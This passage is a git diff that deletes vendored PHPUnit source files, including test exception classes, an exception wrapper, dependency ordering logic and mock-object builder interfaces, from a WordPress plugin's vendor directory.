a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SkippedTestError.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class SkippedTestError extends AssertionFailedError implements SkippedTest -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SkippedTestSuiteError.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SkippedTestSuiteError.php deleted file mode 100644 index 5448508a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SkippedTestSuiteError.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class SkippedTestSuiteError extends AssertionFailedError implements SkippedTest -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SyntheticError.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SyntheticError.php deleted file mode 100644 index c3124ba0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SyntheticError.php +++ /dev/null @@ -1,61 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -class SyntheticError extends AssertionFailedError -{ - /** - * The synthetic file. - * - * @var string - */ - protected $syntheticFile = ''; - - /** - * The synthetic line number. - * - * @var int - */ - protected $syntheticLine = 0; - - /** - * The synthetic trace. - * - * @var array - */ - protected $syntheticTrace = []; - - public function __construct(string $message, int $code, string $file, int $line, array $trace) - { - parent::__construct($message, $code); - - $this->syntheticFile = $file; - $this->syntheticLine = $line; - $this->syntheticTrace = $trace; - } - - public function getSyntheticFile(): string - { - return $this->syntheticFile; - } - - public function getSyntheticLine(): int - { - return $this->syntheticLine; - } - - public function getSyntheticTrace(): array - { - return $this->syntheticTrace; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SyntheticSkippedError.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SyntheticSkippedError.php deleted file mode 100644 index f6e155d7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SyntheticSkippedError.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class SyntheticSkippedError extends SyntheticError implements SkippedTest -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/UnintentionallyCoveredCodeError.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/UnintentionallyCoveredCodeError.php deleted file mode 100644 index fcd1d824..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/UnintentionallyCoveredCodeError.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class UnintentionallyCoveredCodeError extends RiskyTestError -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/Warning.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/Warning.php deleted file mode 100644 index 35e94493..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/Warning.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Warning extends Exception implements SelfDescribing -{ - /** - * Wrapper for getMessage() which is declared as final. - */ - public function toString(): string - { - return $this->getMessage(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/ExceptionWrapper.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/ExceptionWrapper.php deleted file mode 100644 index d30e90b2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/ExceptionWrapper.php +++ /dev/null @@ -1,138 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use const PHP_VERSION_ID; -use function array_keys; -use function get_class; -use function spl_object_hash; -use PHPUnit\Util\Filter; -use Throwable; -use WeakReference; - -/** - * Wraps Exceptions thrown by code under test. - * - * Re-instantiates Exceptions thrown by user-space code to retain their original - * class names, properties, and stack traces (but without arguments). - * - * Unlike PHPUnit\Framework\Exception, the complete stack of previous Exceptions - * is processed. - * - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ExceptionWrapper extends Exception -{ - /** - * @var string - */ - protected $className; - - /** - * @var null|ExceptionWrapper - */ - protected $previous; - - /** - * @var null|WeakReference - */ - private $originalException; - - public function __construct(Throwable $t) - { - // PDOException::getCode() is a string. - // @see https://php.net/manual/en/class.pdoexception.php#95812 - parent::__construct($t->getMessage(), (int) $t->getCode()); - - $this->setOriginalException($t); - } - - public function __toString(): string - { - $string = TestFailure::exceptionToString($this); - - if ($trace = Filter::getFilteredStacktrace($this)) { - $string .= "\n" . $trace; - } - - if ($this->previous) { - $string .= "\nCaused by\n" . $this->previous; - } - - return $string; - } - - public function getClassName(): string - { - return $this->className; - } - - public function getPreviousWrapped(): ?self - { - return $this->previous; - } - - public function setClassName(string $className): void - { - $this->className = $className; - } - - public function setOriginalException(Throwable $t): void - { - $this->originalException($t); - - $this->className = get_class($t); - $this->file = $t->getFile(); - $this->line = $t->getLine(); - - $this->serializableTrace = $t->getTrace(); - - foreach (array_keys($this->serializableTrace) as $key) { - unset($this->serializableTrace[$key]['args']); - } - - if ($t->getPrevious()) { - $this->previous = new self($t->getPrevious()); - } - } - - public function getOriginalException(): ?Throwable - { - return $this->originalException(); - } - - /** - * Method to contain static originalException to exclude it from stacktrace to prevent the stacktrace contents, - * which can be quite big, from being garbage-collected, thus blocking memory until shutdown. - * - * Approach works both for var_dump() and var_export() and print_r(). - */ - private function originalException(?Throwable $exceptionToStore = null): ?Throwable - { - // drop once PHP 7.3 support is removed - if (PHP_VERSION_ID < 70400) { - static $originalExceptions; - - $instanceId = spl_object_hash($this); - - if ($exceptionToStore) { - $originalExceptions[$instanceId] = $exceptionToStore; - } - - return $originalExceptions[$instanceId] ?? null; - } - - if ($exceptionToStore) { - $this->originalException = WeakReference::create($exceptionToStore); - } - - return $this->originalException !== null ? $this->originalException->get() : null; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/ExecutionOrderDependency.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/ExecutionOrderDependency.php deleted file mode 100644 index 89ecc5e2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/ExecutionOrderDependency.php +++ /dev/null @@ -1,206 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use function array_filter; -use function array_map; -use function array_values; -use function count; -use function explode; -use function in_array; -use function strpos; -use function trim; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ExecutionOrderDependency -{ - /** - * @var string - */ - private $className = ''; - - /** - * @var string - */ - private $methodName = ''; - - /** - * @var bool - */ - private $useShallowClone = false; - - /** - * @var bool - */ - private $useDeepClone = false; - - public static function createFromDependsAnnotation(string $className, string $annotation): self - { - // Split clone option and target - $parts = explode(' ', trim($annotation), 2); - - if (count($parts) === 1) { - $cloneOption = ''; - $target = $parts[0]; - } else { - $cloneOption = $parts[0]; - $target = $parts[1]; - } - - // Prefix provided class for targets assumed to be in scope - if ($target !== '' && strpos($target, '::') === false) { - $target = $className . '::' . $target; - } - - return new self($target, null, $cloneOption); - } - - /** - * @psalm-param list $dependencies - * - * @psalm-return list - */ - public static function filterInvalid(array $dependencies): array - { - return array_values( - array_filter( - $dependencies, - static function (self $d) - { - return $d->isValid(); - }, - ), - ); - } - - /** - * @psalm-param list $existing - * @psalm-param list $additional - * - * @psalm-return list - */ - public static function mergeUnique(array $existing, array $additional): array - { - $existingTargets = array_map( - static function ($dependency) - { - return $dependency->getTarget(); - }, - $existing, - ); - - foreach ($additional as $dependency) { - if (in_array($dependency->getTarget(), $existingTargets, true)) { - continue; - } - - $existingTargets[] = $dependency->getTarget(); - $existing[] = $dependency; - } - - return $existing; - } - - /** - * @psalm-param list $left - * @psalm-param list $right - * - * @psalm-return list - */ - public static function diff(array $left, array $right): array - { - if ($right === []) { - return $left; - } - - if ($left === []) { - return []; - } - - $diff = []; - $rightTargets = array_map( - static function ($dependency) - { - return $dependency->getTarget(); - }, - $right, - ); - - foreach ($left as $dependency) { - if (in_array($dependency->getTarget(), $rightTargets, true)) { - continue; - } - - $diff[] = $dependency; - } - - return $diff; - } - - public function __construct(string $classOrCallableName, ?string $methodName = null, ?string $option = null) - { - if ($classOrCallableName === '') { - return; - } - - if (strpos($classOrCallableName, '::') !== false) { - [$this->className, $this->methodName] = explode('::', $classOrCallableName); - } else { - $this->className = $classOrCallableName; - $this->methodName = !empty($methodName) ? $methodName : 'class'; - } - - if ($option === 'clone') { - $this->useDeepClone = true; - } elseif ($option === 'shallowClone') { - $this->useShallowClone = true; - } - } - - public function __toString(): string - { - return $this->getTarget(); - } - - public function isValid(): bool - { - // Invalid dependencies can be declared and are skipped by the runner - return $this->className !== '' && $this->methodName !== ''; - } - - public function useShallowClone(): bool - { - return $this->useShallowClone; - } - - public function useDeepClone(): bool - { - return $this->useDeepClone; - } - - public function targetIsClass(): bool - { - return $this->methodName === 'class'; - } - - public function getTarget(): string - { - return $this->isValid() - ? $this->className . '::' . $this->methodName - : ''; - } - - public function getTargetClassName(): string - { - return $this->className; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/IncompleteTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/IncompleteTest.php deleted file mode 100644 index b77b1aff..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/IncompleteTest.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface IncompleteTest extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/IncompleteTestCase.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/IncompleteTestCase.php deleted file mode 100644 index 8da56794..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/IncompleteTestCase.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class IncompleteTestCase extends TestCase -{ - /** - * @var ?bool - */ - protected $backupGlobals = false; - - /** - * @var ?bool - */ - protected $backupStaticAttributes = false; - - /** - * @var ?bool - */ - protected $runTestInSeparateProcess = false; - - /** - * @var string - */ - private $message; - - public function __construct(string $className, string $methodName, string $message = '') - { - parent::__construct($className . '::' . $methodName); - - $this->message = $message; - } - - public function getMessage(): string - { - return $this->message; - } - - /** - * Returns a string representation of the test case. - * - * @throws InvalidArgumentException - */ - public function toString(): string - { - return $this->getName(); - } - - /** - * @throws Exception - */ - protected function runTest(): void - { - $this->markTestIncomplete($this->message); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/InvalidParameterGroupException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/InvalidParameterGroupException.php deleted file mode 100644 index feb9cc98..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/InvalidParameterGroupException.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class InvalidParameterGroupException extends Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Api/Api.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Api/Api.php deleted file mode 100644 index 56e6b69b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Api/Api.php +++ /dev/null @@ -1,97 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use PHPUnit\Framework\MockObject\Builder\InvocationMocker as InvocationMockerBuilder; -use PHPUnit\Framework\MockObject\Rule\InvocationOrder; - -/** - * @internal This trait is not covered by the backward compatibility promise for PHPUnit - */ -trait Api -{ - /** - * @var ConfigurableMethod[] - */ - private static $__phpunit_configurableMethods; - - /** - * @var object - */ - private $__phpunit_originalObject; - - /** - * @var bool - */ - private $__phpunit_returnValueGeneration = true; - - /** - * @var InvocationHandler - */ - private $__phpunit_invocationMocker; - - /** @noinspection MagicMethodsValidityInspection */ - public static function __phpunit_initConfigurableMethods(ConfigurableMethod ...$configurableMethods): void - { - if (isset(static::$__phpunit_configurableMethods)) { - throw new ConfigurableMethodsAlreadyInitializedException( - 'Configurable methods is already initialized and can not be reinitialized', - ); - } - - static::$__phpunit_configurableMethods = $configurableMethods; - } - - /** @noinspection MagicMethodsValidityInspection */ - public function __phpunit_setOriginalObject($originalObject): void - { - $this->__phpunit_originalObject = $originalObject; - } - - /** @noinspection MagicMethodsValidityInspection */ - public function __phpunit_setReturnValueGeneration(bool $returnValueGeneration): void - { - $this->__phpunit_returnValueGeneration = $returnValueGeneration; - } - - /** @noinspection MagicMethodsValidityInspection */ - public function __phpunit_getInvocationHandler(): InvocationHandler - { - if ($this->__phpunit_invocationMocker === null) { - $this->__phpunit_invocationMocker = new InvocationHandler( - static::$__phpunit_configurableMethods, - $this->__phpunit_returnValueGeneration, - ); - } - - return $this->__phpunit_invocationMocker; - } - - /** @noinspection MagicMethodsValidityInspection */ - public function __phpunit_hasMatchers(): bool - { - return $this->__phpunit_getInvocationHandler()->hasMatchers(); - } - - /** @noinspection MagicMethodsValidityInspection */ - public function __phpunit_verify(bool $unsetInvocationMocker = true): void - { - $this->__phpunit_getInvocationHandler()->verify(); - - if ($unsetInvocationMocker) { - $this->__phpunit_invocationMocker = null; - } - } - - public function expects(InvocationOrder $matcher): InvocationMockerBuilder - { - return $this->__phpunit_getInvocationHandler()->expects($matcher); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Api/Method.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Api/Method.php deleted file mode 100644 index f8be3808..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Api/Method.php +++ /dev/null @@ -1,30 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function call_user_func_array; -use function func_get_args; -use PHPUnit\Framework\MockObject\Rule\AnyInvokedCount; - -/** - * @internal This trait is not covered by the backward compatibility promise for PHPUnit - */ -trait Method -{ - public function method() - { - $expects = $this->expects(new AnyInvokedCount); - - return call_user_func_array( - [$expects, 'method'], - func_get_args(), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/Identity.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/Identity.php deleted file mode 100644 index a68bfadf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/Identity.php +++ /dev/null @@ -1,25 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Builder; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface Identity -{ - /** - * Sets the identification of the expectation to $id. - * - * @note The identifier is unique per mock object. - * - * @param string $id unique identification of expectation - */ - public function id($id); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationMocker.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationMocker.php deleted file mode 100644 index b23e5e38..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationMocker.php +++ /dev/null @@ -1,309 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Builder; - -use function array_map; -use function array_merge; -use function count; -use function in_array; -use function is_string; -use function strtolower; -use PHPUnit\Framework\Constraint\Constraint; -use PHPUnit\Framework\InvalidArgumentException; -use PHPUnit\Framework\MockObject\ConfigurableMethod; -use PHPUnit\Framework\MockObject\IncompatibleReturnValueException; -use PHPUnit\Framework\MockObject\InvocationHandler; -use PHPUnit\Framework\MockObject\Matcher; -use PHPUnit\Framework\MockObject\MatcherAlreadyRegisteredException; -use PHPUnit\Framework\MockObject\MethodCannotBeConfiguredException; -use PHPUnit\Framework\MockObject\MethodNameAlreadyConfiguredException; -use PHPUnit\Framework\MockObject\MethodNameNotConfiguredException; -use PHPUnit\Framework\MockObject\MethodParametersAlreadyConfiguredException; -use PHPUnit\Framework\MockObject\Rule; -use PHPUnit\Framework\MockObject\Stub\ConsecutiveCalls; -use PHPUnit\Framework\MockObject\Stub\Exception; -use PHPUnit\Framework\MockObject\Stub\ReturnArgument; -use PHPUnit\Framework\MockObject\Stub\ReturnCallback; -use PHPUnit\Framework\MockObject\Stub\ReturnReference; -use PHPUnit\Framework\MockObject\Stub\ReturnSelf; -use PHPUnit\Framework\MockObject\Stub\ReturnStub; -use PHPUnit\Framework\MockObject\Stub\ReturnValueMap; -use PHPUnit\Framework\MockObject\Stub\Stub; -use Throwable; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class InvocationMocker implements InvocationStubber, MethodNameMatch -{ - /** - * @var InvocationHandler - */ - private $invocationHandler; - - /** - * @var Matcher - */ - private $matcher; - - /** - * @var ConfigurableMethod[] - */ - private $configurableMethods; - - public function __construct(InvocationHandler $handler, Matcher $matcher, ConfigurableMethod ...$configurableMethods) - { - $this->invocationHandler = $handler; - $this->matcher = $matcher; - $this->configurableMethods = $configurableMethods; - } - - /** - * @throws MatcherAlreadyRegisteredException - * - * @return $this - */ - public function id($id): self - { - $this->invocationHandler->registerMatcher($id, $this->matcher); - - return $this; - } - - /** - * @return $this - */ - public function will(Stub $stub): Identity - { - $this->matcher->setStub($stub); - - return $this; - } - - /** - * @param mixed $value - * @param mixed[] $nextValues - * - * @throws IncompatibleReturnValueException - */ - public function willReturn($value, ...$nextValues): self - { - if (count($nextValues) === 0) { - $this->ensureTypeOfReturnValues([$value]); - - $stub = $value instanceof Stub ? $value : new ReturnStub($value); - } else { - $values = array_merge([$value], $nextValues); - - $this->ensureTypeOfReturnValues($values); - - $stub = new ConsecutiveCalls($values); - } - - return $this->will($stub); - } - - public function willReturnReference(&$reference): self - { - $stub = new ReturnReference($reference); - - return $this->will($stub); - } - - public function willReturnMap(array $valueMap): self - { - $stub = new ReturnValueMap($valueMap); - - return $this->will($stub); - } - - public function willReturnArgument($argumentIndex): self - { - $stub = new ReturnArgument($argumentIndex); - - return $this->will($stub); - } - - public function willReturnCallback($callback): self - { - $stub = new ReturnCallback($callback); - - return $this->will($stub); - } - - public function willReturnSelf(): self - { - $stub = new ReturnSelf; - - return $this->will($stub); - } - - public function willReturnOnConsecutiveCalls(...$values): self - { - $stub = new ConsecutiveCalls($values); - - return $this->will($stub); - } - - public function willThrowException(Throwable $exception): self - { - $stub = new Exception($exception); - - return $this->will($stub); - } - - /** - * @return $this - */ - public function after($id): self - { - $this->matcher->setAfterMatchBuilderId($id); - - return $this; - } - - /** - * @param mixed[] $arguments - * - * @throws \PHPUnit\Framework\Exception - * @throws MethodNameNotConfiguredException - * @throws MethodParametersAlreadyConfiguredException - * - * @return $this - */ - public function with(...$arguments): self - { - $this->ensureParametersCanBeConfigured(); - - $this->matcher->setParametersRule(new Rule\Parameters($arguments)); - - return $this; - } - - /** - * @param array ...$arguments - * - * @throws \PHPUnit\Framework\Exception - * @throws MethodNameNotConfiguredException - * @throws MethodParametersAlreadyConfiguredException - * - * @return $this - * - * @deprecated - */ - public function withConsecutive(...$arguments): self - { - $this->ensureParametersCanBeConfigured(); - - $this->matcher->setParametersRule(new Rule\ConsecutiveParameters($arguments)); - - return $this; - } - - /** - * @throws MethodNameNotConfiguredException - * @throws MethodParametersAlreadyConfiguredException - * - * @return $this - */ - public function withAnyParameters(): self - { - $this->ensureParametersCanBeConfigured(); - - $this->matcher->setParametersRule(new Rule\AnyParameters); - - return $this; - } - - /** - * @param Constraint|string $constraint - * - * @throws InvalidArgumentException - * @throws MethodCannotBeConfiguredException - * @throws MethodNameAlreadyConfiguredException - * - * @return $this - */ - public function method($constraint): self - { - if ($this->matcher->hasMethodNameRule()) { - throw new MethodNameAlreadyConfiguredException; - } - - $configurableMethodNames = array_map( - static function (ConfigurableMethod $configurable) - { - return strtolower($configurable->getName()); - }, - $this->configurableMethods, - ); - - if (is_string($constraint) && !in_array(strtolower($constraint), $configurableMethodNames, true)) { - throw new MethodCannotBeConfiguredException($constraint); - } - - $this->matcher->setMethodNameRule(new Rule\MethodName($constraint)); - - return $this; - } - - /** - * @throws MethodNameNotConfiguredException - * @throws MethodParametersAlreadyConfiguredException - */ - private function ensureParametersCanBeConfigured(): void - { - if (!$this->matcher->hasMethodNameRule()) { - throw new MethodNameNotConfiguredException; - } - - if ($this->matcher->hasParametersRule()) { - throw new MethodParametersAlreadyConfiguredException; - } - } - - private function getConfiguredMethod(): ?ConfigurableMethod - { - $configuredMethod = null; - - foreach ($this->configurableMethods as $configurableMethod) { - if ($this->matcher->getMethodNameRule()->matchesName($configurableMethod->getName())) { - if ($configuredMethod !== null) { - return null; - } - - $configuredMethod = $configurableMethod; - } - } - - return $configuredMethod; - } - - /** - * @throws IncompatibleReturnValueException - */ - private function ensureTypeOfReturnValues(array $values): void - { - $configuredMethod = $this->getConfiguredMethod(); - - if ($configuredMethod === null) { - return; - } - - foreach ($values as $value) { - if (!$configuredMethod->mayReturn($value)) { - throw new IncompatibleReturnValueException( - $configuredMethod, - $value, - ); - } - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationStubber.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationStubber.php deleted file mode 100644 index 1756cfc0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationStubber.php +++ /dev/null @@ -1,65 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Builder; - -use PHPUnit\Framework\MockObject\Stub\Stub; -use Throwable; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -interface InvocationStubber -{ - public function will(Stub $stub): Identity; - - /** @return self */ - public function willReturn($value, ...$nextValues)/* : self */; - - /** - * @param mixed $reference - * - * @return self - */ - public function willReturnReference(&$reference)/* : self */; - - /** - * @param array> $valueMap - * - * @return self - */ - public function willReturnMap(array $valueMap)/* : self */; - - /** - * @param int $argumentIndex - * - * @return self - */ - public function willReturnArgument($argumentIndex)/* : self */; - - /** - * @param callable $callback - * - * @return self - */ - public function willReturnCallback($callback)/* : self */; - - /** @return self */ - public function willReturnSelf()/* : self */; - - /** - * @param mixed $values - * - * @return self - */ - public function willReturnOnConsecutiveCalls(...$values)/* : self */; - - /** @return self */ - public function willThrowException(Throwable $exception)/* : self */; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/MethodNameMatch.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/MethodNameMatch.php deleted file mode 100644 index a71caf79..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/MethodNameMatch.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Builder; - -use PHPUnit\Framework\Constraint\Constraint; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface MethodNameMatch extends ParametersMatch -{ - /** - * Adds a new method name match and returns the parameter match object for - * further matching possibilities. - * - * @param Constraint $constraint Constraint for matching method, if a string is passed it will use the PHPUnit_Framework_Constraint_IsEqual - * - * @return ParametersMatch - */ - public function method($constraint); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/ParametersMatch.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/ParametersMatch.php deleted file mode 100644 index 707d8255..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/ParametersMatch.php +++ /dev/null @@ -1,58 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Builder; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface ParametersMatch extends Stub -{ - /** - * Defines the expectation which must occur before the current is valid. - * - * @param string $id the identification of the expectation that should - * occur before this one - * - * @return Stub - */ - public function after($id); - - /** - * Sets the parameters to match for, each parameter to this function will - * be part of match. To perform specific matches or constraints create a - * new PHPUnit\Framework\Constraint\Constraint and use it for the parameter. - * If the parameter value is not a constraint it will use the - * PHPUnit\Framework\Constraint\IsEqual for the value. - * - * Some examples: - * - * // match first parameter with value 2 - * $b->with(2); - * // match first parameter with value 'smock' and second identical to 42 - * $b->with('smock', new PHPUnit\Framework\Constraint\IsEqual(42)); - * - * - * @return ParametersMatch - */ - public function with(...$arguments); - - /** - * Sets a rule which allows any kind of parameters. - * - * Some examples: - * - * // match any number of parameters - * $b->withAnyParameters(); - * - * - * @return ParametersMatch - */ - public function withAnyParameters(); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/Stub.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/Stub.php deleted file mode 100644 index d7cb78fc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/Stub.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Builder; - -use PHPUnit\Framework\MockObject\Stub\Stub as BaseStub; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface Stub extends Identity -{ - /** - * Stubs the matching method with the stub object $stub. Any invocations of - * the matched method will now be handled by the stub instead. - */ - public function will(BaseStub $stub): Identity; -} diff --git 